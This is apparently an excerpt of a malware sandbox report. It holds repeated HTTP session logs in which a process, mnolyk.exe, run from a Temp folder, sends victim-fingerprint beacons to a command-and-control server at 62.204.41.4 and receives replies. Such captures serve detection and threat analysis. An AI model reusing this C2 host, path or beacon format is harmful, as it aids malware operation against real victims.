584	192.168.2.5	50274	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:24.966329098 CET	784	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:25.033452988 CET	784	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
585	192.168.2.5	50275	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:25.216519117 CET	785	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:25.282788038 CET	785	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.5	49749	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:58.580579996 CET	260	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:58.645394087 CET	260	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49696	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:30.082324028 CET	206	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:30.151854992 CET	207	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.5	49750	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:58.814620018 CET	261	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:58.879216909 CET	261	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.5	49751	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:59.053793907 CET	262	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:59.119268894 CET	262	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.5	49752	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:59.309365988 CET	263	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:59.375677109 CET	263	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.5	49753	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:59.551732063 CET	264	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:59.619138002 CET	264	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.5	49754	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:59.800601959 CET	265	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:59.865664959 CET	265	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.5	49755	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:00.032530069 CET	266	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:00.104228020 CET	266	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.5	49756	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:00.296701908 CET	267	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:00.362060070 CET	267	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.5	49757	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:00.537791014 CET	268	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:00.601149082 CET	268	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.5	49758	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:00.787103891 CET	269	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:00.852035046 CET	269	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.5	49759	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:01.035712957 CET	270	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:01.102294922 CET	270	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49697	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:30.331432104 CET	207	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:30.398885965 CET	208	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.5	49760	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:01.327723980 CET	271	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:01.400182962 CET	271	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.5	49761	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:01.580132008 CET	272	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:01.646137953 CET	272	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.5	49762	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:01.814766884 CET	273	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:01.886197090 CET	273	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.5	49763	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:02.065956116 CET	274	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:02.138685942 CET	274	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.5	49764	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:02.319284916 CET	275	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:02.385740995 CET	275	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.5	49765	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:02.563683033 CET	276	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:02.628305912 CET	276	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.5	49766	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:02.800103903 CET	277	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
